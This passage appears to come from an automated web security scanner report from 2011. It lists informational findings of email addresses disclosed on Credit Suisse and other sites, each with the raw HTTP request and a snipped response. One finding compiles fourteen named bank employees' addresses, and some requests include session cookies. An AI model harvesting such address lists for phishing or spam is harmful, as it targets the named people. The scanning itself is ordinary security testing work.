Date: Mon, 19 Sep 2011 14:42:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 18311

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:equity.am@credit-suisse.com" rel="NewWindow">equity.am@credit-suisse.com</a>
...[SNIP]...

14.96. https://www.credit-suisse.com/us/equities/en/global_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/global_equities.jsp

Issue detail

The following email address was disclosed in the response:

equity.am@credit-suisse.com

Request

GET /us/equities/en/global_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:23 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17927

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:equity.am@credit-suisse.com" rel="NewWindow">equity.am@credit-suisse.com</a>
...[SNIP]...

14.97. https://www.credit-suisse.com/us/equities/en/global_indices.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/global_indices.jsp

Issue detail

The following email address was disclosed in the response:

equity.am@credit-suisse.com

Request

GET /us/equities/en/global_indices.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19602

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:equity.am@credit-suisse.com" rel="NewWindow">equity.am@credit-suisse.com</a>
...[SNIP]...

14.98. https://www.credit-suisse.com/us/equities/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/index.jsp

Issue detail

The following email address was disclosed in the response:

equity.am@credit-suisse.com

Request

GET /us/equities/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.credit-suisse.com/us/asset_management/en/index.jsp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CsgBasePath=/us/; SCDID_S=LXcVh5QS5GwUF4CWPIBkhbmPUuqF9LWwHmrmoyB0CVZ-O5s1JkxpiQ$$; imagerotation=0/0

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:31:45 GMT
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 17358

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:equity.am@credit-suisse.com" rel="NewWindow">equity.am@credit-suisse.com</a>
...[SNIP]...

14.99. https://www.credit-suisse.com/us/equities/en/quantitative_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/quantitative_equities.jsp

Issue detail

The following email address was disclosed in the response:

equity.am@credit-suisse.com

Request

GET /us/equities/en/quantitative_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:32 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 21355

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:equity.am@credit-suisse.com" rel="NewWindow">equity.am@credit-suisse.com</a>
...[SNIP]...

14.100. https://www.credit-suisse.com/us/equities/en/swiss_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/swiss_equities.jsp

Issue detail

The following email address was disclosed in the response:

equity.am@credit-suisse.com

Request

GET /us/equities/en/swiss_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17875

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:equity.am@credit-suisse.com" rel="NewWindow">equity.am@credit-suisse.com</a>
...[SNIP]...

14.101. https://www.credit-suisse.com/us/equities/en/us_equities.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/equities/en/us_equities.jsp

Issue detail

The following email address was disclosed in the response:

equity.am@credit-suisse.com

Request

GET /us/equities/en/us_equities.jsp HTTP/1.1
Host: www.credit-suisse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.credit-suisse.com/us/equities/en/index.jsp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CsgBasePath=/us/; SCDID_S=LXcVh5QS5GwUF4CWPIBkhbmPUuqF9LWwHmrmoyB0CVZ-O5s1JkxpiQ$$; imagerotation=0/0

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:31:54 GMT
Content-Type: text/html; charset=UTF-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 18658

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:equity.am@credit-suisse.com" rel="NewWindow">equity.am@credit-suisse.com</a>
...[SNIP]...

14.102. https://www.credit-suisse.com/us/fixed_income/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/fixed_income/en/

Issue detail

The following email address was disclosed in the response:

fixedincome.am@credit-suisse.com

Request

GET /us/fixed_income/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:14 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17755

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:fixedincome.am@credit-suisse.com">fixedincome.am@credit-suisse.com</a>
...[SNIP]...

14.103. https://www.credit-suisse.com/us/fixed_income/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/fixed_income/en/index.jsp

Issue detail

The following email address was disclosed in the response:

fixedincome.am@credit-suisse.com

Request

GET /us/fixed_income/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:18 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 17755

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:fixedincome.am@credit-suisse.com">fixedincome.am@credit-suisse.com</a>
...[SNIP]...

14.104. https://www.credit-suisse.com/us/hedge_strategies/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/hedge_strategies/en/

Issue detail

The following email address was disclosed in the response:

mailbox.smpinvestorservices@credit-suisse.com

Request

GET /us/hedge_strategies/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:52 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20597

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:mailbox.smpinvestorservices@credit-suisse.com">mailbox.smpinvestorservices@credit-suisse.com</a>
...[SNIP]...

14.105. https://www.credit-suisse.com/us/hedge_strategies/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/hedge_strategies/en/index.jsp

Issue detail

The following email address was disclosed in the response:

mailbox.smpinvestorservices@credit-suisse.com

Request

GET /us/hedge_strategies/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 20597

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:mailbox.smpinvestorservices@credit-suisse.com">mailbox.smpinvestorservices@credit-suisse.com</a>
...[SNIP]...

14.106. https://www.credit-suisse.com/us/multi_asset_class_solutions/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/multi_asset_class_solutions/en/

Issue detail

The following email address was disclosed in the response:

online.am@credit-suisse.com

Request

GET /us/multi_asset_class_solutions/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 15701

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:online.am@credit-suisse.com">online.am@credit-suisse.com</a>
...[SNIP]...

14.107. https://www.credit-suisse.com/us/multi_asset_class_solutions/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/multi_asset_class_solutions/en/index.jsp

Issue detail

The following email address was disclosed in the response:

online.am@credit-suisse.com

Request

GET /us/multi_asset_class_solutions/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

14.108. https://www.credit-suisse.com/us/private_equity/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/private_equity/en/

Issue detail

The following email addresses were disclosed in the response:

business.proposal@credit-suisse.com
private.equity@credit-suisse.com

Request

GET /us/private_equity/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19593

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:private.equity@credit-suisse.com">
...[SNIP]...
<br/>private.equity@credit-suisse.com</a>
...[SNIP]...
<a href="mailto:business.proposal@credit-suisse.com">
...[SNIP]...
<br/>business.proposal@credit-suisse.com</a>
...[SNIP]...

14.109. https://www.credit-suisse.com/us/private_equity/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/private_equity/en/index.jsp

Issue detail

The following email addresses were disclosed in the response:

business.proposal@credit-suisse.com
private.equity@credit-suisse.com

Request

GET /us/private_equity/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 19593

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:private.equity@credit-suisse.com">
...[SNIP]...
<br/>private.equity@credit-suisse.com</a>
...[SNIP]...
<a href="mailto:business.proposal@credit-suisse.com">
...[SNIP]...
<br/>business.proposal@credit-suisse.com</a>
...[SNIP]...

14.110. https://www.credit-suisse.com/us/privatebanking/bank/en/contact.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/privatebanking/bank/en/contact.jsp

Issue detail

The following email addresses were disclosed in the response:

carey.timbrell@credit-suisse.com
chris.williams@credit-suisse.com
dave.mcgranahan@credit-suisse.com
davemcgranahan@credit-suisse.com
gabriela.teran@credit-suisse.com
jack.rubin@credit-suisse.com
matt.w.gorman@credit-suisse.com
michael.nies@credit-suisse.com
paul.arango@credit-suisse.com
phil.swatzell@credit-suisse.com
richard.jaffe@credit-suisse.com
robert.durham@credit-suisse.com
stephen.dunne@credit-suisse.com
todd.buchner@credit-suisse.com

Request

GET /us/privatebanking/bank/en/contact.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:41:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 21716

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/
...[SNIP]...
<a href="mailto:robert.durham@credit-suisse.com">robert.durham@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:stephen.dunne@credit-suisse.com">stephen.dunne@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:stephen.dunne@credit-suisse.com">
...[SNIP]...
<a href="mailto:todd.buchner@credit-suisse.com">
...[SNIP]...
<a href="mailto:dave.mcgranahan@credit-suisse.com">dave.mcgranahan@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:phil.swatzell@credit-suisse.com">phil.swatzell@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:jack.rubin@credit-suisse.com">jack.rubin@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:phil.swatzell@credit-suisse.com">phil.swatzell@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:todd.buchner@credit-suisse.com ">todd.buchner@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:michael.nies@credit-suisse.com">michael.nies@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:paul.arango@credit-suisse.com">paul.arango@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:matt.w.gorman@credit-suisse.com">matt.w.gorman@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:gabriela.teran@credit-suisse.com">gabriela.teran@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:chris.williams@credit-suisse.com">
...[SNIP]...
<a href="mailto:davemcgranahan@credit-suisse.com">dave.mcgranahan@credit-suisse.com</a>
...[SNIP]...
<a href="mailto:todd.buchner@credit-suisse.com">todd.buchner@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:michael.nies@credit-suisse.com">michael.nies@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:richard.jaffe@credit-suisse.com">richard.jaffe@credit-suisse.com<span class="aural-read-out">
...[SNIP]...
<a href="mailto:carey.timbrell@credit-suisse.com">carey.timbrell@credit-suisse.com<span class="aural-read-out">
...[SNIP]...

14.111. https://www.credit-suisse.com/us/real_assets/en/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/real_assets/en/

Issue detail

The following email address was disclosed in the response:

online.am@credit-suisse.com

Request

GET /us/real_assets/en/ HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 16289

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:online.am@credit-suisse.com">online.am@credit-suisse.com</a>
...[SNIP]...

14.112. https://www.credit-suisse.com/us/real_assets/en/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.credit-suisse.com
Path:	/us/real_assets/en/index.jsp

Issue detail

The following email address was disclosed in the response:

online.am@credit-suisse.com

Request

GET /us/real_assets/en/index.jsp HTTP/1.1
Host: www.credit-suisse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 14:42:13 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 16289

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

                   


<html xmlns="http://www.w3.org/1999/x
...[SNIP]...
<a href="mailto:online.am@credit-suisse.com">online.am@credit-suisse.com</a>
...[SNIP]...

14.113. http://www.csfb.com/client_access/global_soft_dollar.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csfb.com
Path:	/client_access/global_soft_dollar.shtml

Issue detail

The following email addresses were disclosed in the response:

equity-soft-dollars-support@excham.csfb.com
esdsupport@credit-suisse.com

Request

GET /client_access/global_soft_dollar.shtml HTTP/1.1
Host: www.csfb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Unknown Web Server
Date: Mon, 19 Sep 2011 14:46:28 GMT
Content-type: text/html
Cache-control: private
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Credit Suisse - Client Access</title>
<META HTTP-EQUIV="Content-Type" content="text/html; charset=iso-8859-
...[SNIP]...
<A class="norm" href="mailto:equity-soft-dollars-support@excham.csfb.com">esdsupport@credit-suisse.com</A>
...[SNIP]...

14.114. http://www.csoonline.com/js/jquery/jquery.cookie.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.csoonline.com
Path:	/js/jquery/jquery.cookie.js

Issue detail

The following email address was disclosed in the response:

klaus.hartl@stilbuero.de

Request

GET /js/jquery/jquery.cookie.js HTTP/1.1
Host: www.csoonline.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.csoonline.com/

Response

HTTP/1.1 200 OK
Age: 573
Date: Mon, 19 Sep 2011 19:29:01 GMT
Cache-Control: max-age=600 ,public
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "128bdd-1113-49e131d995d40"
Server: Apache/2.2.3 (CentOS)
Last-Modified: Wed, 09 Mar 2011 21:07:25 GMT
Accept-Ranges: bytes
Content-Length: 4371
Keep-Alive: timeout=5, max=496
Content-Type: application/x-javascript

/**
* Cookie plugin
*
* Copyright (c) 2006 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.org/li
...[SNIP]...
kie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/

/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {

...[SNIP]...

14.115. https://www.cyscape.com/%22/products/bhtg//%22 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/%22/products/bhtg//%22

Issue detail

The following email address was disclosed in the response:

support@cyscape.com

Request

Response

14.116. https://www.cyscape.com/images/common/episodes.gif%22 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/images/common/episodes.gif%22

Issue detail

The following email address was disclosed in the response:

support@cyscape.com

Request

Response

14.117. https://www.cyscape.com/order/order.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cyscape.com
Path:	/order/order.asp

Issue detail

The following email address was disclosed in the response:

sales@cyscape.com

Request

GET /order/order.asp?bhcp=1 HTTP/1.1
Host: www.cyscape.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.cyscape.com/order/order.asp?bhcp=1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BA=ba=90453&be=33368.92&l=1161&le=4.69&ip=10.0.0.1&t=1316462241; __utma=172671793.283514393.1316462211.1316462211.1316462211.1; __utmb=172671793.3.10.1316462211; __utmc=172671793; __utmz=172671793.1316462211.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RT=s=1316462372001&r=http%3A%2F%2Fcyscape.com%2F; bhCookieSaveSess=1; bhCookieSess=1; ASPSESSIONIDAQRSSCCA=BOEBNBDDEMFJBLNILPJCHJDN; bhResults=bhjs=1; bhPrevResults=bhjs=1; bhawkplt=plt_state=tested&plt_stm=1316462727226&plt_url=http%3A%2F%2Fcyscape.com%2F

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:03:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 56360
Content-Type: text/html
Cache-control: private

<html>
<head id="ctl00_ctl00_Head1"><meta content="text/html; charset=iso-8859-1" http-equiv="Content-Type" />
<link href="/styles/main.css" rel="stylesheet" type="text/css" />
<link href="/sty
...[SNIP]...
<a href="mailto:sales@cyscape.com">(sales@cyscape.com)</a>
...[SNIP]...

14.118. http://www.demo.com/a/s/MobileCompatibility.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.demo.com
Path:	/a/s/MobileCompatibility.js

Issue detail

The following email address was disclosed in the response:

ahand@hand-interactive.com

Request

GET /a/s/MobileCompatibility.js HTTP/1.1
Host: www.demo.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.demo.com/
Cookie: Apache=50.23.123.106.1316460611979487

Response

HTTP/1.1 200 OK
Age: 357554
Date: Thu, 15 Sep 2011 17:16:43 GMT
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "35c0c6-6664-a9de4200"
Server: Apache/2.0.55 (Unix) DAV/2 mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/4.4.4
Last-Modified: Thu, 08 Jul 2010 16:20:24 GMT
Accept-Ranges: bytes
ntCoent-Length: 26212
Keep-Alive: timeout=10
Content-Type: application/x-javascript
Cache-Control: private
Content-Length: 26212

/**
* Copyright (C) 2005 Brightcove, Inc. All Rights Reserved. No
* use, copying or distribution of this work may be made except in
* accordance with a valid license agreement from Brightcove,
...[SNIP]...
*******************************/
/**********************************************************************************************************************/

// JavaScript Document

// Anthony Hand, ahand@hand-interactive.com
// Web: www.hand-interactive.com
//
// License info: http://creativecommons.org/licenses/by/3.0/us/

//Initialize some initial string variables we'll look for later.
var deviceIphone = "iphone"
...[SNIP]...

14.119. http://www.demo.com/a/s/jquery.cookies.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.demo.com
Path:	/a/s/jquery.cookies.js

Issue detail

The following email address was disclosed in the response:

klaus.hartl@stilbuero.de

Request

GET /a/s/jquery.cookies.js HTTP/1.1
Host: www.demo.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.demo.com/
Cookie: Apache=50.23.123.106.1316460611979487

Response

HTTP/1.1 200 OK
Age: 357554
Date: Thu, 15 Sep 2011 17:16:43 GMT
Connection: Keep-Alive
Via: NS-CACHE-8.0: 1
ETag: "35c0d9-10f5-1d554640"
Server: Apache/2.0.55 (Unix) DAV/2 mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/4.4.4
Last-Modified: Wed, 28 Jul 2010 17:40:33 GMT
Accept-Ranges: bytes
ntCoent-Length: 4341
Keep-Alive: timeout=10
Content-Type: application/x-javascript
Cache-Control: private
Content-Length: 4341

/**
* Cookie plugin
*
* Copyright (c) 2006 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* http://www.opensource.org/licenses/mit-license.php
* http://www.gnu.
...[SNIP]...
ll be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/

/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {

...[SNIP]...

14.120. http://www.demo.com/a/s/jquery.innerfade.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.demo.com
Path:	/a/s/jquery.innerfade.js

Issue detail

The following email address was disclosed in the response:

t.baldes@medienfreunde.com

Request

GET /a/s/jquery.innerfade.js HTTP/1.1
Host: www.demo.com
